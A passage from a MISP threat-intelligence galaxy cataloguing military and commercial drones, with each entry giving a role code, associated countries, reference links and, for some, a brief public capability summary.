https://paffalcons.com/air-warfare/iran-unveils-mohajer10-ucav-extended-weapon-capabilities/
https://www.almonitor.com/originals/2023/08/iran-unveils-its-latest-attack-drone
https://en.wikipedia.org/wiki/Qods_Mohajer_10

Ra’ad 2

UAS

The tag is: *misp-galaxy:uavs="Ra’ad 2"*

View relationships graph

Ra’ad 2 has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25049. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f46631b7a0d6505612ba73361ddb9381
https://x.com/imp_navigator/status/1891788367760691533/photo/2
https://www.shahrekhabar.com/news/173987424002785

QANDIL-4

UAS

The tag is: *misp-galaxy:uavs="QANDIL-4"*

View relationships graph

QANDIL-4 has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25050. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f31033b69ebc65eeea33eba4a1494c7a
https://www.bultannews.com/fa/news/864930/%D8%B1%D9%88%D9%86%D9%85%D8%A7%DB%8C%DB%8C-%D8%A7%D8%B2%D9%BE%D9%87%D9%BE%D8%A7%D8%AF-%D9%87%D8%A7%DB%8C-%D8%AC%D8%AF%DB%8C%D8%AF-%D8%B3%D9%BE%D8%A7%D9%87

Twister

EW, ISR

The tag is: *misp-galaxy:uavs="Twister"*

View relationships graph

Twister has relationships with:

- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"

Table 25051. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/c9d1441998f74e07fd3b2c72596db7cb
https://quantum-systems.com/twister/

D-20K

UAS

The tag is: *misp-galaxy:uavs="D-20K"*

View relationships graph

D-20K has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25052. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/d1deab2fa9964e69f1d4bb7937cfe39b
https://www.aeromax-group.com/products/airplanetypeuas/d-20k/

Haasta

ISR

The tag is: *misp-galaxy:uavs="Haasta"*

View relationships graph

Haasta has relationships with:

- similar: misp-galaxy:country="poland" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25053. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/c0ad2acc6c383e94f82eda648cc16fbc
https://breakingdefense.com/2023/09/poland-unveils-haasta-prototype-for-drone-on-drone-warfare/
https://interestingengineering.com/innovation/polands-newhaasta-uav
https://www.the-nref.org/content/haasta-drone-hunts-drones

VA25

VTOL

The tag is: *misp-galaxy:uavs="VA25"*

View relationships graph

VA25 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25054. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f04f13920f521b0f09f7f0a0b109e091
https://www.t-drones.com/product/VA25.html
https://ozrobotics.com/shop/t-drones-e-vtol-va25-fixed-wing-vtol-drone-with-long-endurance-and-maximum210mins/?srsltid=AfmBOooa6l1ipQXbpc5diQvRoUAaL6-03hRyRikFC5umc9em-lCL_e55

AKSUNGUR

The Turkish Aerospace AKSUNGUR is a Class III MALE UAV for long-endurance ISR and strike missions, offering up to 50 hours endurance and a 24 m wingspan with 750 kg payload capacity. It is weapon-capable and operated by Turkey and Niger.

The tag is: *misp-galaxy:uavs="AKSUNGUR"*

View relationships graph

AKSUNGUR has relationships with:

- similar: misp-galaxy:country="niger" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25055. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/d6c27248c7a0b0599cc9be43fd72d6ce
https://www.tusas.com/en/products/uav/high-payload-capacity-uas/aksungur

ALPAGUT

The ALPAGUT is a Turkish loitering munition system with a flight time of 60 minutes and a top speed of 80 km/h, designed for precision strikes with a payload capacity of 11 kg that includes high explosive and thermobaric warhead options. Classified as a Class III High Altitude Long Endurance (HALE) and Medium Altitude Long Endurance (MALE) system, it enhances Turkey's operational capabilities in targeted military engagements.

The tag is: *misp-galaxy:uavs="ALPAGUT"*

View relationships graph

ALPAGUT has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25056. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/fb82672d929f08f7c187a980d835264d
https://www.roketsan.com.tr/en/products/alpagut-smart-loitering-munition-system
https://www.stm.com.tr/en/alpagut-smart-loitering-munition-system

SHAHED-238

LM

The tag is: *misp-galaxy:uavs="SHAHED-238"*

View relationships graph

SHAHED-238 has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25057. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/582c121ee987d47404ff55cb0b459711
https://armyrecognition.com/focus-analysis-conflicts/army/conflicts-in-the-world/russia-ukraine-war-2022/drone-wreckage-confirms-that-russian-forces-employiranian-shahed-238-jet-powered-drones-against-ukraine
https://www.reddit.com/r/WarplanePorn/comments/18txj31/irans_upgraded_and_jet_powered_shahed136_kamikaze/

CW-30E

UAS

The tag is: *misp-galaxy:uavs="CW-30E"*

View relationships graph

CW-30E has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25058. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f184794b11c29dba00568fa5c5938a78
https://www.jouav.com/products/cw-30e.html

PH-20

The JOUAV PH-20 is an electric multirotor UAS used in China for medium- to heavy-lift missions such as surveying/mapping, inspection, and public-safety logistics, carrying up to 10 kg of sensors or supplies. It has a 72 km/h top speed and endurance of up to 55 minutes at full load (100 minutes empty), and it is non-weaponized.

The tag is: *misp-galaxy:uavs="PH-20"*

View relationships graph

PH-20 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25059. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f0874829cf5a1872c42f6f0d1ad0357f
https://www.jouav.com/products/ph-20.html

Interceptor-sr

UAS

The tag is: *misp-galaxy:uavs="Interceptor-sr"*

View relationships graph

Interceptor-sr has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united kingdom" with estimative-language:likelihood-probability="likely"

Table 25060. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/131025c5594c59fae0d3803bf80a1ef8
https://marss.com/products/interceptor-sr/
https://marss.com/media/vwvfxnw0/marss-interceptor-sr.pdf
https://www.adsadvance.co.uk/marss-launches-portableinterceptor-to-neutralise-hostile-drones.html

HX-2

EW, ISR, LM

The tag is: *misp-galaxy:uavs="HX-2"*

View relationships graph

HX-2 has relationships with:

- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25061. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/8759e89e853c2a12d9db6844bb8fe55f
https://customer.janes.com/Janes/Display/BSP_82025-JDW
https://armyrecognition.com/news/aerospace-news/2024/helsing-launches-hx-2-autonomous-strikedrone-with-proven-success-in-ukraine
https://www.airforce-technology.com/news/helsing-hx-2-strike-drones/?cf-view
https://www.twz.com/air/ai-enabled-hx-2-kamikazedrones-now-in-production-for-ukraine

https://helsing.ai/hx-2

ZQHW-350E

UAS

The tag is: *misp-galaxy:uavs="ZQHW-350E"*

View relationships graph

ZQHW-350E has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25062. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/bf2b09b960a56dbf19b89dec2b21c45c
http://cndefense.com/uav/ZQHW-350E.html

ZQWJ-700

UAS

The tag is: *misp-galaxy:uavs="ZQWJ-700"*

View relationships graph

ZQWJ-700 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25063. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/9647b4e2d3703e1d1ef6d5fb87f1bcfa
http://cndefense.com/uav/ZQWJ-700.html

ZQHW-120

LM

The tag is: *misp-galaxy:uavs="ZQHW-120"*

View relationships graph

ZQHW-120 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25064. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/a03340ee8124bef7020b9d2e39e0a1e7
http://cndefense.com/uav/ZQHW-120.html

Easy Site

UAS

The tag is: *misp-galaxy:uavs="Easy Site"*

View relationships graph

Easy Site has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25065. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/5f40739c1770cf3b4fbbda31ecf714de
https://www.easyaerial.com/inspection.html

Easy Mobile

UAS

The tag is: *misp-galaxy:uavs="Easy Mobile"*

View relationships graph

Easy Mobile has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25066. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/0afb0249fbe38237d6d528e4e8224633
https://www.easyaerial.com/mobile.html

EV390

VTOL

The tag is: *misp-galaxy:uavs="EV390"*

View relationships graph

EV390 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25067. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/8b073f0bc2c7e5c692e6b9150fa2f77e
https://aivalley.co.th/products/ev390-1
https://armyrecognition.com/news/army-news/2025/chinas-new-ev390-vertical-takeoff-drone-to-strengthen-its-surveillanceand-mapping-capabilities

Raider

ISR, UAS, VTOL

The tag is: *misp-galaxy:uavs="Raider"*

View relationships graph

Raider has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25068. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/22d05884ae38a9a17449ffe60ea2a0eb
https://hevendrones.com/raider/
https://dronelife.com/2025/02/11/heven-drones-introduces-raider-hydrogen-powered-uas-for-extended-operations/
https://eurosd.com/2025/02/major-news/42653/heven-drones-unveils-raider/

CH-9 (RAINBOW-9)

EW

The tag is: *misp-galaxy:uavs="CH-9 (RAINBOW-9)"*

View relationships graph

CH-9 (RAINBOW-9) has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25069. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/655e68b14d5202d86aa60158cfbb1570
https://www.scmp.com/news/china/military/article/3304542/ai-autonomy-and-endurance-chinas-rainbow-9-drone-expected-change-unmanned-warfare
https://internationaldefenceanalysis.com/chinas-ch-9-combat-drone-with-ballistic-missile-capabilities/
https://armyrecognition.com/news/army-news/army-news2024/exclusive-chinas-new-ch-9-drone-boasts-11-500-km-range-and-advanced-strike-capabilities

F15

UAS

The tag is: *misp-galaxy:uavs="F15"*

View relationships graph

F15 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25070. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/6e4079a9c597af03163493420aaaafa2
https://www.ziyanuas.com/products/FlightPlatforms/8

Shadow S3

UAS

The tag is: *misp-galaxy:uavs="Shadow S3"*

View relationships graph

Shadow S3 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25071. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f0652419cda6d1e64f86bb1171088c8d
https://www.ziyanuas.com/products/FlightPlatforms/6

Ranger P2X

UAS

The tag is: *misp-galaxy:uavs="Ranger P2X"*

View relationships graph

Ranger P2X has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25072. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ef9d19020b480a04535228e00203de75
https://www.ziyanuas.com/products/FlightPlatforms/6

Sentry

UAS

The tag is: *misp-galaxy:uavs="Sentry"*

View relationships graph

Sentry has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25073. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/633809603e032f603a686aab1e89a83f
https://hoverflytech.com/tethered-drones-uas/livesky-sentry/

Zoe Norwegian

UAS

The tag is: *misp-galaxy:uavs="Zoe Norwegian"*

View relationships graph

Zoe Norwegian has relationships with:

- similar: misp-galaxy:country="norway" with estimative-language:likelihood-probability="likely"

Table 25074. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/3611730dadf5ab98d44419039f35cbaa
https://acecoretechnologies.com/zoe/

Zoe Zetona Norwegian

UAS

The tag is: *misp-galaxy:uavs="Zoe Zetona Norwegian"*

View relationships graph

Zoe Zetona Norwegian has relationships with:

- similar: misp-galaxy:country="norway" with estimative-language:likelihood-probability="likely"

Table 25075. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ffc0281a88b4b9c8889655fe9a91f4a9
https://acecoretechnologies.com/zoe-zetona/

Alpha

Autel Robotics' Alpha is an enterprise quadcopter UAS designed for aerial imaging, surveillance, and inspection, commonly fielded with a multi-sensor EO/IR payload (e.g., L35T) for day/night operations and mapping. It is an unarmed platform used in the United States for public safety, infrastructure inspection, and general reconnaissance tasks.

The tag is: *misp-galaxy:uavs="Alpha"*

View relationships graph

Alpha has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25076. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/dcfbaf785408469294fc062fee7efd6c

https://www.bhphotovideo.com/c/product/1815672-REG/autel_robotics_102002550_alpha_l35t.html/specs
https://www.autelpilot.com/pages/contact-autelpilot
https://covertdrones.com/collections/autel-alpha/products/autel-robotics-alpha-the-next-gen-quadcopter-for-aerial-excellence

HF101D

UAS

The tag is: *misp-galaxy:uavs="HF101D"*

View relationships graph

HF101D has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25077. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/8a96bb5ff854ab15ab648fd0924c74d6
https://pauluav.en.made-in-china.com/product/dxurSmlPaFUY/China-Hot-Sell-Nano-Drone-Personal-Reconnaissance-Micro-Uav-System.html?
https://www.made-in-china.com/products-search/hot-chinaproducts/Nano_Drone.html

JiuTian

JiuTian is a large, jet-powered long-endurance UAV from AVIC intended as a strike-capable “swarm mothership,” designed to carry and launch multiple smaller drones while providing long-range ISR, electronic warfare, and communications relay. It has a 25 m wingspan, around 36 hours endurance, up to roughly 6,000 kg payload, and is operated by China.

The tag is: *misp-galaxy:uavs="JiuTian"*

View relationships graph

JiuTian has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25078. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/80cd999f6a44d72593f584adb3069202
https://www.youtube.com/watch?v=xOLG5iHAyEw
https://dronexl.co/sv/2024/11/12/china-drone-mothership-zhuhai-airshow/

https://www.twz.com/air/chinas-high-flying-swarm-mothership-drone-has-flown
https://www.twz.com/air/new-heavyweight-chinese-jet-drone-looks-to-be-a-swarm-mothership

W5000

MALE

The tag is: *misp-galaxy:uavs="W5000"*

View relationships graph

W5000 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25079. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ef84f7b3c31928558ebfea8e7d4d0878
https://customer.janes.com/display/JUAVB168-JUAV
https://www.twz.com/air/chinas-new-w5000-cargo-drone-is-the-biggest-yet
https://x.com/Nickatgreat1220/status/1855495982106181777
https://asia.nikkei.com/Business/36Kr-KrASIA/Chinese-startup-offers-large-cargo-drones-eyeing-demandsurge
https://www.aerotime.aero/articles/china-rolls-out-w5000-prototype
https://interestingengineering.com/innovation/china-worlds-largest-cargo-drone

R2-600

MALE

The tag is: *misp-galaxy:uavs="R2-600"*

View relationships graph

R2-600 has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25080. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/1316a2e880d0436951c50ffd61704428
https://static1.squarespace.com/static/5f885233183e424fd1a6a962/t/67d2b732b0b3cc780fec4ab8/1741862726789/FLY-R2-600_web.pdf
https://www.flyruas.com/en/r2-600

https://armyrecognition.com/news/aerospace-news/2025/french-armed-forces-acquire-r2-600-drones-from-fly-r-to-boost-intelligence-capability

Skywalker

EW

The tag is: *misp-galaxy:uavs="Skywalker"*

View relationships graph

Skywalker has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25081. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/883e4c8a4faca3e58c7b52aa64d21862
https://militarnyi.com/en/news/chinese-drone-maker-introduces-uav-controlled-by-fiber-optics/
https://defencehub.live/threads/chinas-skywalker-fiber-opticcontrolled-drone.19642/

Honey Badger

UAS

The tag is: *misp-galaxy:uavs="Honey Badger"*

View relationships graph

Honey Badger has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="lebanon" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25082. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/fdfd9bab3c81b9c7eb4256e17f8d387b
https://armyrecognition.com/news/army-news/2025/landeuro-2025-xtends-honey-badger-drone-uses-artificial-intelligence-to-fly-into-buildings-and-find-hiddenthreats
https://www.xtend.me/honey-badger

SONORA

ISR

The tag is: *misp-galaxy:uavs="SONORA"*

View relationships graph

SONORA has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25083. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ec340354514d800d117ffd391717f865
https://www.harmattan.ai/systems/sonora
https://www.uasvision.com/2025/07/09/france-orders-1000-ai-enabled-combat-drones/

С-70 Охотник (S-70 Okhotnik/Hunter)

The S-70 Okhotnik is a Russian heavy stealth combat drone developed by Sukhoi for the Russian Aerospace Forces. Designed with a flying-wing configuration, it is intended for long-range strike and reconnaissance missions in contested airspace. The program conducted its first flight in 2019 and remains in a development and evaluation phase. The drone is designed to operate in coordination with manned fifth-generation fighters, notably the Su-57. Its development reflects Russia's ambition to field a high-end UCAV comparable to Western "loyal wingman" concepts.

The tag is: *misp-galaxy:uavs="С-70 Охотник (S-70 Okhotnik/Hunter)"*

View relationships graph

С-70 Охотник (S-70 Okhotnik/Hunter) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25084. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/e294539d6f7c877842a5a8595fc535f5
https://armyrecognition.com/military-products/army/unmanned-systems/unmanned-aerial-vehicles/s-70-okhotnik-b-hunter-ucav#spec
https://nationalinterest.org/blog/buzz/sukhoi-s-70-okhotnik-b-russias-stealth-drone-lie-or-deadly-reality-207219
https://www.twz.com/42627/this-is-our-most-detailed-lookat-russias-s-70-unmanned-combat-air-vehicle-to-date
https://defense-update.com/20190803_okhotnik-b_flight.html

https://en.wikipedia.org/wiki/Sukhoi_S-70_Okhotnik-B
https://war-sanctions.gur.gov.ua/en/uav/327

TALAY

LM

The tag is: *misp-galaxy:uavs="TALAY"*

View relationships graph

TALAY has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25085. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/a3773038c1ce5f6b215f3dce4b7208ac
https://armyrecognition.com/news/navy-news/2025/tuerkiyes-solidaero-reveals-talay-as-worlds-first-low-altitude-drone-for-coastal-strike-missions
https://www.navalnews.com/naval-news/2024/10/flying-just-30cm-above-water-talay-uav-brings-sea-skimming-precision/
https://solidaero.com.tr/talay/

QANDIL-5

UAS

The tag is: *misp-galaxy:uavs="QANDIL-5"*

View relationships graph

QANDIL-5 has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25086. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/da11c553b2d70b4646d0f0f866f3d258
https://x.com/A7_Mirza/status/1891866972578599220

Grom-u

UAS

The tag is: *misp-galaxy:uavs="Grom-u"*

View relationships graph

Grom-u has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25087. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/70c2e2455fffb981475333021d2d6064
https://armyrecognition.com/news/aerospace-news/2024/russian-kronstadt-group-presents-new-grom-u-wingman-drone-to-assist-su-35-and-su-57-fighters?
https://www.twz.com/air/russias-aspirational-grom-combat-drones-design-totally-changes-ditches-stealth-for-speed
https://customer.janes.com/display/BSP_4498-IDR

SH-3000

UAS

The tag is: *misp-galaxy:uavs="SH-3000"*

View relationships graph

SH-3000 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25088. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/5f54a6a19408baedf9e2cc340021b5ae
https://www.aeromax-group.com/products/helicopteruas/sh-3000/
https://www.aeromax-group.com/wp-content/uploads/2023/07/sh-3000_en_qr2.pdf
https://aviation21.ru/aeromaks-predstavil-tyazhyolyj-gruzovoj-bespilotnyj-vertolyot/

SKAT-350M

EW

The tag is: *misp-galaxy:uavs="SKAT-350M"*

View relationships graph

SKAT-350M has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25089. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/c897596c5fdb70bd340287649fb12179
https://www.edrmagazine.eu/skat-350m-reconnaissance-uav-presented-for-the-first-time-in-the-caspian-region
https://www.reddit.com/r/UkraineRussiaReport/comments/1cdj2g9/ru_pov_display_of_the_s350m_skat_russian_newest/
https://en.defenceua.com/news/ukrainian_forces_eliminate_russian_skat_350m_drone_crew_and_equipment_in_tokmak-15164.html
https://armyrecognition.com/news/army-news/armynews-2024/russia-is-ready-to-start-production-of-skat-350m-an-advanced-unmanned-aerial-vehicle

Reliant

EW, ISR, UAS, VTOL

The tag is: *misp-galaxy:uavs="Reliant"*

View relationships graph

Reliant has relationships with:

- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"

Table 25090. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/7dcbb9cc57d04055c1ccc8a9f1111537
https://quantum-systems.com/reliant/

SH-450

UAS

The tag is: *misp-galaxy:uavs="SH-450"*

View relationships graph

SH-450 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25091. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/e274d5b76dfc4816ae13d27f357fe771
https://robotrends.ru/robopedia/aeromaks-sh-450
https://yuripasholok.livejournal.com/13834932.html
https://www.aeromax-group.com/products/helicopteruas/sh450/

Loong 5

ISR, UAS, VTOL

The tag is: *misp-galaxy:uavs="Loong 5"*

View relationships graph

Loong 5 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25092. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/499143a0155039781e68ef74b091b25f
https://customer.janes.com/display/JUAVB173-JUAV
https://armyrecognition.com/news/army-news/2024/strengthening-china-s-drone-capabilities-with-loong-5uav-at-wds-2024

FALCON-1800DH

UAS

The tag is: *misp-galaxy:uavs="FALCON-1800DH"*

View relationships graph

FALCON-1800DH has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25093. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/13d00489e26b43f5f3f74166e8d73cc7
https://customer.janes.com/display/JUAVB171-JUAV
https://x.com/RupprechtDeino/status/1765737169413386474

CW-25E

UAS

The tag is: *misp-galaxy:uavs="CW-25E"*

View relationships graph

CW-25E has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25094. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/9581acbc75d6a9ef491e5b9e95c77ea8
https://www.jouav.com/products/cw-25e.html

CW-25

VTOL

The tag is: *misp-galaxy:uavs="CW-25"*

View relationships graph

CW-25 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25095. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/dabda0d4ba082ed8081a00748ed4fcd7
https://www.jouav.com/products/cw-25.html

VA23

VTOL

The tag is: *misp-galaxy:uavs="VA23"*

View relationships graph

VA23 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25096. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/86309cb223dd9682e5f1d4451e29dcd5
https://www.t-drones.com/product/VA23.html
https://ozrobotics.com/shop/t-drones-ultra-long-endurance-max-240mins-va23-fixed-wing-vtol-drone-for-industrialuses/?srsltid=AfmBOoqF5CXMUTdt8uiDKq-TNru2lO1fFBshzbwovU5Fw2kGxqfvSW7-

VA17

VTOL

The tag is: *misp-galaxy:uavs="VA17"*

View relationships graph

VA17 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25097. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/035da8ec91d9d119e60b37031fa51ad7
https://ozrobotics.com/shop/t-drones-tilt-rotor-vtol-drone-with-va17-endurance-up-to-120min/?srsltid=AfmBOooTpCBq3wW8TCP_R2V2R2ig5SrN53PCZKkDz3kG_dDUTWKYjlA
https://www.t-drones.com/product/VA17.html

TB-001 (scorpion B)

UCAV

The tag is: *misp-galaxy:uavs="TB-001 (scorpion B)"*

View relationships graph

TB-001 (scorpion B) has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25098. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ddcf1c6029a527706733763d64f69cce
https://www.zona-militar.com/en/2024/06/06/the-japan-self-defense-forces-report-new-incursions-by-chinese-drones/
https://www.uasvision.com/2023/05/02/chinese-tb-001-scorpion-drone-encircled-taiwan/

https://en.wikipedia.org/wiki/Tengden_TB-001
https://www.uasvision.com/2022/12/09/chinas-tb-001-twin-tailed-scorpion-ucav-spotted-with-12-agms/

CH-3D

The CH-3D is a Chinese MALE UCAV designed for long-endurance ISR and precision strike missions, with about 20 hours endurance and an 8 m wingspan. It integrates EO/IR sensors and can employ guided munitions for reconnaissance, target acquisition, and armed attack roles.

The tag is: *misp-galaxy:uavs="CH-3D"*

View relationships graph

CH-3D has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25099. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/c0ac8d0fe8d2b6270268faf19ad58841
https://defence-blog.com/china-targets-tb2s-market-dominance-with-new-armed-drone/
https://www.armyrecognition.com/archives/archives-land-defense/landdefense-2024/china-unveils-its-new-ch-3d-unmanned-combat-aerial-vehicle
https://www.uasvision.com/2024/04/12/china-unveils-its-new-ch-3d-ucav/

Gerbera

LM

The tag is: *misp-galaxy:uavs="Gerbera"*

View relationships graph

Gerbera has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25100. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/770b8d2033f2c26f78cb1e5ab7209b94
https://armyrecognition.com/news/army-news/2025/exclusive-analysis-russias-low-cost-gerbera-kamikaze-drones-break-ukrainian-defenses-threaten-natofrontier
https://www.bbc.com/news/live/c2enwk1l9e1t

https://www.twz.com/air/new-russian-long-range-drone-appears-in-ukraine
https://militarnyi.com/en/news/gerberadrone-crashed-in-poland-50-km-from-the-border-officials-deny-it-had-military-features/
https://war-sanctions.gur.gov.ua/en/uav/329

Interceptor-mr

UAS

The tag is: *misp-galaxy:uavs="Interceptor-mr"*

View relationships graph

Interceptor-mr has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united kingdom" with estimative-language:likelihood-probability="likely"

Table 25101. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/09c7927ac501c092697f7693521743b5
https://marss.com/products/interceptor-mr/
https://www.edrmagazine.eu/marss-interceptor-mr-killer-drone-close-to-production
https://marss.com/media/sxnibxfe/interceptor-mr.pdf

DFX-100

LM

The tag is: *misp-galaxy:uavs="DFX-100"*

View relationships graph

DFX-100 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25102. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/d5fd8c0a3357acc006969d0b7ee3c776
https://armyrecognition.com/archives/archives-land-defense/land-defense-2024/china-launches-dfx-50-loitering-munition-modeled-on-irans-shahed-136

DFX-50

LM

The tag is: *misp-galaxy:uavs="DFX-50"*

View relationships graph

DFX-50 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25103. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/cacb29c88cc4897833522b7a171131d2
https://armyrecognition.com/archives/archives-land-defense/land-defense-2024/china-launches-dfx-50-loitering-munition-modeled-on-irans-shahed-136

CH-YH1000

UAS

The tag is: *misp-galaxy:uavs="CH-YH1000"*

View relationships graph

CH-YH1000 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25104. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/3d82132f1e8ab08c3f6fe46421f05107
https://armyrecognition.com/focus-analysis-conflicts/air/aviation-defence-industry-technology/ch-yh1000-chinese-unmanned-transport-aircraft-passes-crucial-testphase
